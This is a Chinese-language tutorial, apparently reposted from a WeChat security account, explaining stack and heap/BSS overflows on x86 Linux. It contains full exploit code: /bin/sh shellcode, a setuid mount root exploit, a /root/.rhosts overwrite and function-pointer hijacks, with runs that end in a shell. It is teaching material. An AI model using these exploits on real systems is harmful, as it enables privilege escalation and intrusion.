软件缺陷之溢出浅析
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
软件缺陷是由程序员在编程的时候没有考虑周全而造成的。软件缺陷一般可以分为以下几种类型:
(1)输入确认错误。在输入确认错误的程序中,由用户输入的字符串没有经过适当的检查,使得攻击者可以通过输入一个特殊的字符串使程序运行错误。这样的错误会造成程序运行不正确、不稳定、异常终止等结果。但是最危险的是攻击者利用这样的程序进行一些非法操作,这就是所谓著名的缓冲区溢出漏洞。输入确认错误的另一个子集就是边界条件溢出。边界条件溢出指的是程序里边的一个变量变为超过它自己边界条件时的程序运行错误。这个变量可以是用户输入值,也可以是系统自己生成。所以可以说,边界条件溢出的缺陷和输入确认错误的缺陷有一定的交叉。边界条件溢出的缺陷可能导致系统运行不稳定,如系统没有足够内存、硬盘或者网络的带宽占满等等。很多著名的拒绝服务攻击是利用这样的缺陷进行的。
(2)访问确认错误。访问确认错误指的是系统的访问控制机制出现错误。错误并不在于用户可控制的配置部分,而在系统的控制机制本身。所以,这样的缺陷有可能使得系统运行不稳定,但是基本上不能被利用去攻击系统,因为它的运行错误不受用户的控制。
(3)特殊条件错误。未处理特殊条件的缺陷指的是程序运行的时候在某些特殊条件或者环境下出问题。
(4)设计错误。设计错误指的是程序在实现和配置的时候并不存在错误,而错误就在程序的设计方案上。如果我们回头想一下上面谈过的TCP/IP协议的缺陷,这些缺陷都属于设计缺陷。
(5)配置错误。配置错误的缺陷指的是程序由于用户的配置错误(故意或者意外地)引起系统运行不稳定。这个缺陷并不在于程序的设计和实现,而在于程序的配置。值得注意的是,很多软件在包装的时候都有一个缺省配置,用户在安装的时候基本上按照这个配置进行修改。如果缺省配置出现问题,那么系统就出现漏洞。
(6)竞争条件错误。竞争条件错误是程序的安全检查模块在一些非常特殊的情况下出现错误而引起的。比如说,一个程序在运行的时候都要执行多个操作,在执行每个操作之前,程序都要检查该操作是否合法,然后才执行它。模块化编程都将安全检查工作交给安全检查模块完成。但是,在安全检查模块检查的那个时刻和程序执行操作的时刻之间的一瞬间,一些条件有可能会改变,如环境条件使得安全检查模块的检查结果根本没有什么意义。攻击者很可能利用这个很小的机会去攻击系统。竞争条件错误的一个常见形式就是程序在一个可读写的目录下建立一个文件之前没有检查该文件是否存在。攻击者可以利用这一点,猜测程序可能会建立的文件名,并提前以这个文件名建立一个软连接。这样,攻击者可以以程序运行的权限去覆盖系统文件。
下面详细介绍缓冲区溢出和堆溢出。
一、缓冲区溢出(Buffer Overflow)
1、什么是缓冲区溢出
缓冲区溢出的缺陷是属于输入确认错误的类型。它是一种相当普遍的缺陷,并且也是一种非常危险的缺陷。攻击者可以利用缓冲区溢出缺陷进行攻击,获得系统超级用户权限。缓冲区溢出的攻击之所以危险是因为它可以获得系统的最高控制权,此外它还很难被检测出来。如果系统的某个软件或者脚本存在着缓冲区溢出的缺陷,那么这个系统很可能会受到缓冲区溢出的攻击。
缓冲区溢出的攻击指的是一种系统攻击的手段,通过向程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令,以达到攻击的目的。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。所以说缓冲区溢出的缺陷属于输入确认错误的缺陷。为了理解缓冲区溢出的机制,我们先看一个例子:
example1.c
--------------------------------------------------------------
void function (char *str)
{
char buffer[16];
strcpy (buffer,str);
}
---------------------------------------------------------------
上面的strcpy() 将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf() 以及在循环内的getc()、fgetc()、getchar()等。当然,随便向缓冲区中填东西造成它溢出一般只会出现Segmentation fault错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其他命令。如果该程序属于 root且有suid权限的话,攻击者就获得了一个有 root权限的shell,可以对系统进行任意操作了。
请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel x86 CPU的Linux系统。对其他平台来说,这里的概念同样适用,但程序要做相应修改。
2、制造缓冲区溢出
一个程序在内存中通常分为程序段、数据段和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们存放的位置如下图所示。
一个程序在内存中的存放
堆栈的一个特性就是后进先出(LIFO),就是说先进入堆栈的对象会在最后出来,进入堆栈的最后一个对象会是第一个出来。堆栈的两个最重要的操作就是PUSH和POP。PUSH操作把对象放入堆栈的顶端(最外边)。POP操作实现一个逆的过程,把顶端的对象(最外边)取出来。
在内存中,对象是一块连续的内存段。一般来说,堆栈的上面有更低的内存地址,换句话说,在PUSH操作中,堆栈向内存的低端发展。有一个寄存器叫做堆栈指针(SP)。SP存放的是堆栈的顶端地址。PUSH和POP的操作都修改SP的值,使得SP常常指向堆栈的顶端。除了SP寄存器,系统还设计一个寄存器叫做基址寄存器(LB)。LB寄存器用来存放堆栈中一个固定的地址。由于PUSH和POP的操作不会修改LB的值,所以可以通过LB指向的位置读取堆栈中的参数。
当程序中发生函数调用时,计算机做如下操作:
首先把参数压入堆栈,也就是把参数放在堆栈的最里边(一般来说是在堆栈的高端地址)。
第二个操作就是把指令寄存器(IP)中的内容压入堆栈,作为返回地址(RET)。
第三个操作是把当前(旧)的基址寄存器(LB)压入堆栈保存,然后把当前的栈指针(SP)拷贝到LB,作为新的基址。这样,程序可以通过LB这个值去读上面第一个操作所压入的参数。
最后的操作是为本地变量留出一定空间,把SP减去适当的数值。
我们以example2.c为例,描述上面的过程。
example2.c
---------------------------------------------------------------
void function (char *str)
{
char buffer[16];
strcpy (buffer,str);
}
void main ()
{
char large_string[256];
int i;
for ( i=0; i<255; i ++)
large_string[i]='A';
function (large_string);
}
---------------------------------------------------------------
当调用函数 function()时,第一个被压入堆栈就是参数*str。第二个被压入堆栈就是函数的返回值ret。第三个被压入堆栈就是旧的基址 LB。这时候,新的基址寄存器的内容应该指向堆栈的这个位置。最后是在堆栈中留出一个空间(buffer)给本地变量。完成了这几个操作,堆栈如下图所示。
调用一个函数后的堆栈
因为从buffer开始的256字节都将被*str的内容‘A’覆盖,包括LB、ret,甚至*str。‘A’的十六进制值为0x41,所以函数的返回地址变成了0x41414141,这超出了程序的地址空间,所以出现段错误。程序执行的结果是“Segmentation fault (core dumped) ”或类似的出错信息。
3、通过缓冲区溢出获得用户shell
如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区的开头,就可以达到运行其他指令的目的,见下图。
通过堆栈返回指令执行代码(一)
通常,我们想运行的是一个用户shell。见example3.c:
example3.c
---------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
---------------------------------------------------------------
将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串(example4.c)。
example4.c
--------------------------------------------------------------
char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main()
{
char buffer[96];
int i;
long *long_ptr=(long *) large_string;
for (i=0; i<32; i++)
*(long_ptr+i)=(int) buffer;
for (i=0; i<strlen(shellcode); i++)
large_string[i]=shellcode[i];
strcpy(buffer,large_string);
}
---------------------------------------------------------------
这个程序所做的是,在large_string中填入buffer地址,并把shell代码放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer 的内容为 shell 代码。这样当程序试从strcpy() 中返回时,就会转而执行shell。
4、利用缓冲区溢出进行的系统攻击
如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在哪儿放入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令 NOP。在 shell 代码前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。
通过堆栈返回指令执行代码(二)
上图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用了系统程序mount的漏洞。
example5.c
---------------------------------------------------------------
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
u_char execshell[]=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff=NULL;
unsigned long *addr_ptr=NULL;
char *ptr=NULL;
int i;
int ofs=DEFAULT_OFFSET;
buff=malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr=buff;
/* fill start of buffer with nops */
memset(ptr,0x90,BUFFER_SIZE-strlen(execshell));
ptr +=BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i<strlen(execshell);i++)
*(ptr++)=execshell[i];
addr_ptr=(long *)ptr;
for(i=0;i<(8/4);i++)
*(addr_ptr++)=get_esp()+ofs;
ptr=(char *)addr_ptr;
*ptr=0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio,Covin 1996\n");
execl(PATH_MOUNT,"mount",buff,NULL);
}
---------------------------------------------------------------
程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff 的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。由于mount程序的所有者是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的shell(example5.c)。
5、如何防止缓冲区溢出
堆栈溢出的问题已经广为人知,越来越多的操作系统商家增加了不可执行堆栈的补丁,一些个人也提供了自己的补丁,如著名的Solar Designer提供的针对Linux的不可执行堆栈的kernel patch,也有一些人开发了一些编译器来防止堆栈溢出,像 Crispin Cowan 等开发的StackGuard等。这些方法都一定程度上可以减少由堆栈溢出导致的安全问题。
当然,更根本的解决方法在于在开发的时候避免危险调用(strcpy等),在开发的过程中引入安全检查等,这里就不再赘述了。
二、堆溢出(Heap Overflow)
1、什么是堆溢出
一个可执行的文件(比如常见的ELF—Executable and Linking Format格式的可执行文件)通常包含多个段,比如过程连接表(PLT)、全局偏移表(GOT)、包含在初始化时执行的指令(init)、包含程序终止时要执行的指令(fini),以及包含一些全局构造指令和析构指令的ctors和dtors。
所谓堆,就是由应用程序动态分配的内存区。在这里,由应用程序来分配是值得特别注意的,因为在一个好的操作系统中,大部分的内存区实际上是在内核一级被动态分配的,而Heap段则是由应用程序来分配的,它在编译的时候被初始化。包含未被初始化的数据的BSS段在程序运行的时候才被分配。在被写入数据前,它始终保持全零。在大部分的系统中,堆是向上增长的(向高址方向增长),因此,当我们说X在Y的下面时,就是指X的地址低于Y的地址。一般所谓的堆溢出既包含堆段的溢出,也包含BSS段的溢出。下面是一个演示在Heap段(已初始化的数据)发生的动态缓冲区溢出。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BUFSIZE 16
#define OVERSIZE 8 /* 我们将覆盖buf2的前OVERSIZE个字节 */
int main()
{
u_long diff;
char *buf1=(char *)malloc(BUFSIZE),*buf2=(char *)malloc(BUFSIZE);
diff=(u_long)buf2 - (u_long)buf1;
printf("buf1=%p,buf2=%p,diff=0x%x (%d)bytes\n",buf1,buf2,diff,diff);
/* 将buf2用'A'填充 */
memset(buf2,'A',BUFSIZE-1),buf2[BUFSIZE-1]='\0';
printf("before overflow: buf2=%s\n",buf2);
/*用diff+OVERSIZE个'B'填充buf1 */
memset(buf1,'B',(u_int)(diff+OVERSIZE));
printf("after overflow: buf2=%s\n",buf2);
return 0;
}
当我们运行它后,得到下面的结果:
[anonymous@testserver basic]$ ./heap1 8
buf1=0x8049858,buf2=0x8049870,diff=0x18 (24)bytes
before overflow: buf2=AAAAAAAAAAAAAAA
after overflow: buf2=BBBBBBBBAAAAAAA
我们看到buf2的前8字节被覆盖了。这是因为往buf1中填写的数据超出了它的边界进入了buf2的范围。由于buf2的数据仍然在有效的Heap区内,程序仍然可以正常结束。另外我们可以注意到,虽然buf1和buf2是相继分配的,但它们并不是紧挨着的,而是有8字节的间距,这个间距可能随不同的系统环境而不同。
为了解释BSS段的溢出,我们来看下面这个例子:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#define ERROR -1
#define BUFSIZE 16
int main(int argc,char **argv)
{
u_long diff;
int oversize;
static char buf1[BUFSIZE],buf2[BUFSIZE];
if (argc <=1)
{
fprintf(stderr,"Usage: %s<numbytes>\n",argv[0]);
fprintf(stderr,"[Will overflow static buffer by<numbytes>]\n");
exit(ERROR);
}
diff=(u_long)buf2 - (u_long)buf1;
printf("buf1=%p,buf2=%p,diff=0x%x (%d) bytes\n\n",buf1,buf2,diff,diff);
memset(buf2,'A',BUFSIZE - 1),memset(buf1,'B',BUFSIZE - 1);
buf1[BUFSIZE - 1]='\0',buf2[BUFSIZE - 1]='\0';
printf("before overflow: buf1=%s,buf2=%s\n",buf1,buf2);
oversize=diff + atoi(argv[1]);
memset(buf1,'B',oversize);
buf1[BUFSIZE - 1]='\0',buf2[BUFSIZE - 1]='\0';
printf("after overflow: buf1=%s,buf2=%s\n\n",buf1,buf2);
return 0;
}
当我们运行它后,得到下面的结果:
[anonymous@testserver basic]$ ./heap2 8
buf1=0x8049874,buf2=0x8049884,diff=0x10 (16) bytes
before overflow: buf1=BBBBBBBBBBBBBBB,buf2=AAAAAAAAAAAAAAA
after overflow: buf1=BBBBBBBBBBBBBBB,buf2=BBBBBBBBAAAAAAA
和Heap溢出类似,buf2的前8字节也被覆盖了。我们也可以注意到,buf1和buf2是紧挨着的,这意味着我们可以不用猜测buf1和buf2之间的间距。
2、利用堆溢出进行攻击
从上面两个简单的例子,我们应该了解 Heap/BSS 溢出的基本方式了。我们能用它来覆盖一个文件名,口令或者是保存的 uid 等等。为了说明这一点,我们再来看一个例子。这个程序会用一个临时文件来储存用户输入的数据。
/*
* 这是一个很典型的有弱点的程序。它将用户的输入储存在一个临时文件中。
* 编译方法: gcc -o vulprog1 vulprog1.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#define ERROR -1
#define BUFSIZE 16
/*
* 将攻击程序以root身份运行或者改变攻击程序中"vulfile"的值。
* 否则,即使攻击程序成功,它也不会有权限修改/root/.rhosts(缺省的例子)
*
*/
int main(int argc,char **argv)
{
FILE *tmpfd;
static char buf[BUFSIZE],*tmpfile;
if (argc <=1)
{
fprintf(stderr,"Usage: %s<garbage>\n",argv[0]);
exit(ERROR);
}
tmpfile="/tmp/vulprog.tmp";
printf("before: tmpfile=%s\n",tmpfile);
printf("Enter one line of data to put in %s: ",tmpfile);
gets(buf); /* 导致buf溢出 */
printf("\nafter: tmpfile=%s\n",tmpfile);
tmpfd=fopen(tmpfile,"w");
if (tmpfd==NULL)
{
fprintf(stderr,"error opening %s: %s\n",tmpfile,
strerror(errno));
exit(ERROR);
}
fputs(buf,tmpfd); /* 将buf提供的数据存入临时文件 */
fclose(tmpfd);
}
这个例子中的情形在编程时是很容易发生的,很多人以为用静态数组和静态指针就会比较安全,下面是攻击程序:
/*
* 这个程序将用来攻击vulprog1.c.它传输参数给有弱点的程序。有弱点的程序
* 以为将我们输入的一行数据储存到了一个临时文件里。然而,因为发生了静态
* 缓冲区溢出的缘故,我们可以修改这个临时文件的指针,让它指向argv[1](我们
* 将传递"/root/.rhosts"给它)。然后程序就会将我们提供的输入数据存在"/root
* /.rhosts"中。所以我们用来覆盖缓冲区的字符串将会是下面的格式:
* [++# ][(tmpfile地址) - (buf 地址)个字符'A'][argv[1]的地址]
*
* "++"后面跟着'#'号是为了防止我们的溢出代码出问题。没有'#'(注释符),使用
* .rhosts的程序就会错误解释我们的溢出代码。
*
* 编译方法: gcc -o exploit1 exploit1.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BUFSIZE 256
#define DIFF 16 /* vulprog中buf和tmpfile之间的间距 */
#define VULPROG "./vulprog1"
#define VULFILE "/root/.rhosts" /* buf 中的内容将被储存在这个文件中 */
/* 得到当前堆栈的esp,用来计算argv[1]的地址 */
u_long getesp()
{
__asm__("movl %esp,%eax"); /* equiv.of 'return esp;' in C */
}
int main(int argc,char **argv)
{
u_long addr;
register int i;
int mainbufsize;
char *mainbuf,buf[DIFF+6+1]="++\t# ";
/* ----------------------------------------------------- */
if (argc <=1)
{
fprintf(stderr,"Usage: %s<offset> [try 310-330]\n",argv[0]);
exit(ERROR);
}
/* ---------------------------------------------------- */
memset(buf,0,sizeof(buf)),strcpy(buf,"++\t# "); /*将攻击代码填入buf */
memset(buf+strlen(buf),'A',DIFF); /*用'A'填满剩余的buf空间*/
addr=getesp()+atoi(argv[1]); /* 计算argv[1]的地址 */
/* 将地址反序排列(在小endian系统中)后存入buf+DIFF处 */
for (i=0; i<sizeof(u_long); i++)
buf[DIFF+i]=((u_long)addr >> (i * 8) & 255);
/* 计算mainbuf的长度 */
mainbufsize=strlen(buf)+strlen(VULPROG)+strlen(VULFILE)+13;
mainbuf=(char *)malloc(mainbufsize);
memset(mainbuf,0,sizeof(mainbuf));
snprintf(mainbuf,mainbufsize - 1,"echo '%s' | %s %s\n",buf,VULPROG,VULFILE);
printf("Overflowing tmpaddr to point to %p,check %s after.\n\n",addr,VULFILE);
system(mainbuf);
return 0;
}
---------------------------------------------------------------
[root@testserver vulpkg1]# ./exploit1 349
Overflowing tmpaddr to point to 0xbffffe6d,check /root/.rhosts after.
before: tmpfile=/tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile=/vulprog1
我们看到现在tmpfile指向argv[0]("./vulprog1"),我们增加10字节(argv[0]的长度):
[root@testserver vulpkg1]# ./exploit1 359
Overflowing tmpaddr to point to 0xbffffe77,check /root/.rhosts after.
before: tmpfile=/tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile=/root/.rhosts
[root@testserver vulpkg1]# cat /root/.rhosts
++ # AAAAAAAAAAw?...A
buf tmpfile
覆盖后:[++\t# AAAAAAAAAA][0x123445678]
这样攻击者成功地将“++”添加到了/root/.rhosts中。攻击程序覆盖了vulprog用来接受gets()输入的静态缓冲区,并将猜测的argv[1]的地址覆盖tmpfile。我们可以在mainbuf中放置任意长度的‘A’直到发现多少个‘A’才能到达tmpfile 的地址。如果用户有弱点程序源码的话,可以增加“printf()”来显示出被覆盖的数据与目标数据之间的距离(比如:printf("%p - %p=0x%lx bytes\n",buf2,buf1,(u_long)diff))。但通常这个偏移量在编译的时候会发生改变,但我们可以很容易地重新计算/猜测甚至暴力猜测这个偏移量。
注意,我们需要一个有效的地址(argv[1]的地址),我们必须将字节顺序反向(在 little endian 系统中)。Little endian 系统通常是低字节在前(x86 就是 little endian 系统)。因此0x12345678在内存中就是按0x78563412的顺序存放。如果我们是在big endian系统中做这些(比如sparc),我们就不必做反序的处理了。
迄今为止,这些例子中没有一个要求可执行的Heap,这些例子都是不依赖系统和硬件结构的(除了字节反序的部分),这在攻击Heap溢出时是非常有用的。
3、修改函数指针
知道了怎么重写一个指针,接下来就是如何修改一个函数指针。与上面的例子不同的是,修改函数指针的攻击要求有一个可以执行的Heap函数指针(比如int (*funcptr)(char *str))允许程序员动态修改要被调用的函数。可以重写函数指针的地址,使其被执行的时候转去调用我们指定的函数(代码)。为了达到这个目的,可以有多种选择。
首先,可以使用自己的shellcod,有两种方法来使用自己的shellcode:
(1)argv[]方法:将shellcode储存在一个程序参数中(这要求一个可执行的堆栈)。
(2)Heap偏移方法:将shellcode储存在从Heap的顶端到被覆盖的指针之间的区域中(这要求可执行的Heap)。
注意:Heap可执行的可能性比堆栈可执行的可能性要大得多。因此,利用Heap的方法可能更常用一些。
另外的一种方法是简单地猜测一个函数(比如 system)的地址。如果知道攻击程序中system()的地址,那么如果两个程序在同样的情况下编译的话,被攻击的程序中system()的地址应该与其相差不远。这种方法的好处在于它不需要一个可执行的Heap。
第二种方法的优点就是简单。可以很快地从攻击程序的 system()的地址猜出有弱点程序的 system()地址。而且在远程系统中也是相同的(如果版本、操作系统和硬件结构都一样的话)。第一种方法的优点在于可以利用自己的 shellcode 来做任意的事,而且并不需要考虑函数指针的兼容问题,比如不管是char (*funcptr)(int a)还是void (*funcptr)(),都可以顺利工作(第一种方法就必须考虑这些)。它的缺点就是必须要有可执行的heap/stack。
下面我们再来看一个有弱点的程序:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define ERROR -1
#define BUFSIZE 64
int goodfunc(const char *str); /* 正常情况下要被funcptr指向的函数 */
int main(int argc,char **argv)
{
static char buf[BUFSIZE];
static int (*funcptr)(const char *str);/* 这个就是我们将要重写的函数指针 */
if (argc <=2)
{
fprintf(stderr,"Usage: %s<buf><goodfunc arg>\n",argv[0]);
exit(ERROR);
}
printf("(for 1st exploit) system()=%p\n",system);
printf("(for 2nd exploit,stack method) argv[2]=%p\n",argv[2]);
printf("(for 2nd exploit,heap offset method) buf=%p\n\n",buf);
funcptr=(int (*)(const char *str))goodfunc;
printf("before overflow: funcptr points to %p\n",funcptr);
memset(buf,0,sizeof(buf));
/* 溢出有可能在这里发生,这也是很常见的一种错误的使用strncpy的例子 */
strncpy(buf,argv[1],strlen(argv[1]));
printf("after overflow: funcptr points to %p\n",funcptr);
(void)(*funcptr)(argv[2]); /* 正常情况下将调用goodfunc,参数为argv[2]*/return 0;
}
/* ---------------------------------------------- */
/* This is what funcptr would point to if we didn't overflow it */
int goodfunc(const char *str)
{
printf("\nHi,I'm a good function. I was passed: %s\n",str);
return 0;
}
我们来看看第一个攻击的例子,这里采用的是使用system()的方法:
/*
*
* 演示在bss段(未被初始化的数据)中覆盖静态函数指针的方法。
*
* offset (argv[2])范围为 0-20 (10-16 is best)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/* 假设funcptr与buf之间的距离(对于BSS区来说,这个值应该就是buf的大小 */
#define BUFSIZE 64
#define VULPROG "./vulprog" /* 有弱点程序的位置 */
#define CMD "/bin/sh" /* 定义如果攻击成功后要执行的命令 */
#define ERROR -1
int main(int argc,char **argv)
{
register int i;
u_long sysaddr;
static char buf[BUFSIZE + sizeof(u_long) + 1]={0};
if (argc <=1)
{
fprintf(stderr,"Usage: %s<offset>\n",argv[0]);
fprintf(stderr,"[offset=estimated system() offset]\n\n");
exit(ERROR);
}
sysaddr=(u_long)&system - atoi(argv[1]); /*计算system()的地址*/
printf("trying system() at 0x%lx\n",sysaddr);
memset(buf,'A',BUFSIZE);
/* 在little endian系统中,需要将字节反序排列 */
for (i=0; i<sizeof(sysaddr); i++)
buf[BUFSIZE+i]=((u_long)sysaddr >> (i * 8)) & 255;
execl(VULPROG,VULPROG,buf,CMD,NULL);
return 0;
}
当我们运行它后,得到下面的结果:
[anonymous@testserver vulpkg2]$ ./exploit2 12
Trying system() at 0x80483fc
system()'s address=0x80483fc
before overflow: funcptr points to 0x80485fc
after overflow: funcptr points to 0x80483fc
bash$
接下来的例子中我们用了stack和Heap的方法:
---------------------------------------------------------------
/*
*
* 这演示了如何重写一个静态函数指针使其指向我们提供的shellcode.
* 这种方法要求可执行的stack或heap
*
* 这个程序中有两个参数:offset和heap/stack,对于stack方法来说,
* offset为堆栈顶端到(有弱点程序的)argv[2]的距离。
* 对于heap方法来说,offset为heap的顶端到被覆盖的(或指定的)buffer之间的
* 距离。
*
* 对于stack方法来说,参数为325~345,对于heap方法来说,参数为420~450
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define ERROR -1
#define BUFSIZE 64 /* estimated diff between buf/funcptr */
#define VULPROG "./vulprog" /* where the vulprog is */
char shellcode[]=/* just aleph1's old shellcode (linux x86) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
u_long getesp()
{
__asm__("movl %esp,%eax"); /* 得到当前堆栈顶端的值 */
}
int main(int argc,char **argv)
{
register int i;
u_long sysaddr;
char buf[BUFSIZE + sizeof(u_long) + 1];
if (argc <=2)
{
fprintf(stderr,"Usage: %s<offset><heap | stack>\n",argv[0]);
exit(ERROR);
}
if (strncmp(argv[2],"stack",5)==0) /* 使用堆栈的方法 */
{
printf("Using stack for shellcode (requires exec.stack)\n");
sysaddr=getesp()+atoi(argv[1]); /*计算argv[2]的地址*/
printf("Using 0x%lx as our argv[1]address\n\n",sysaddr);
memset(buf,'A',BUFSIZE+sizeof(u_long));
} else /* 使用heap的方法 */
{
printf("Using heap buffer for shellcode "
"(requires exec. heap)\n");
/* 计算目标buffer的地址(sbrk(0)用来得到heap的顶端地址) */
sysaddr=(u_long)sbrk(0) - atoi(argv[1]);
printf("Using 0x%lx as our buffer's address\n\n",sysaddr);
/* 计算是否buf与funcptr之间的距离不足以放下我们的shellcode */
/* 如果这段距离比较小的话,其实可以采用另外的方法来填充: */
/* buf funcptr sysaddr
/* [sysaddr|sysaddr|...][sysaddr][shellcode] */
if (BUFSIZE + 4 + 1<strlen(shellcode))
{
fprintf(stderr,"error: buffer is too small for shellcode "
"(min.=%d bytes)\n",strlen(shellcode));
exit(ERROR);
}
strcpy(buf,shellcode);
memset(buf+strlen(shellcode),'A',
BUFSIZE - strlen(shellcode) + sizeof(u_long));
}
buf[BUFSIZE + sizeof(u_long)]='\0';
/* reverse byte order (on a little endian system) (ntohl equiv) */
for (i=0; i<sizeof(sysaddr); i++)
buf[BUFSIZE+i]=((u_long)sysaddr >> (i * 8)) & 255;
execl(VULPROG,VULPROG,buf,shellcode,NULL);
return 0;
}
先来看看用堆栈的方法:
[anonymous@testserver vulpkg3]$ ./exploit3 319 stack
Using stack for shellcode (requires exec. stack)
Using 0xbffffdf7 as our argv[1] address
argv[1]=0xbffffdf7
buf=0x8049820
before: funcptr=0x8048500
after: funcptr=0xbffffdf7
bash$
下面是用Heap的方法:
[anonymous@testserver vulpkg3]$ ./exploit3 836 heap
Using heap buffer for shellcode (requires exec. heap)
Using 0x8049820 as our buffer's address
argv[1]=0xbffffdf7
buf=0x8049820
before: funcptr=0x8048500
after: funcptr=0x8049820
bash$
从上面的例子可以看出,对于同一种问题,可以有几种不同的攻击手法。而且,由于一般说来,堆通常是可执行的,因此,近年来,通过堆溢出缺陷进行攻击的案例大大增加。这也为网络安全防护增加了更多的困难。
微信公众号:计算机与网络安全
ID:Computer-network